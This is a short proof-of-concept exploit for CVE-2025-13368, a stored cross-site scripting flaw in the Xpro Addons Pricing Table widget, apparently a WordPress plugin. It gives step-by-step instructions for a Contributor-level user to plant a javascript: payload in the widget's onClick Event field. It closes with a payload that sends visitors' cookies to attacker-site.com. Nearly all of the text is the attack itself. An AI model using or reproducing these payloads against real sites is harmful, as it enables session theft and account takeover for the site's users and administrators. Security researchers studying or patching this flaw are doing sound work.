CVE-2025-13368: Xpro Addons插件存储型XSS漏洞

// PoC for CVE-2025-13368: Stored XSS in Xpro Addons Pricing Widget // 1. Log in as a user with 'Contributor' role or higher. // 2. Edit a page and add the 'Pricing Table' widget from Xpro Addons. // 3. In the widget settings, locate the 'Button Link' or 'onClick Event' field. // 4. Inject the following payload into the onClick Event field: javascript:alert('CVE-2025-13368_XSS'); // 5. Publish/Update the page. // 6. Visit the page as a regular user or admin. The alert should trigger. // Example payload to steal current user cookies (demonstration purpose only) // javascript:fetch('http://attacker-site.com/?c='+document.cookie);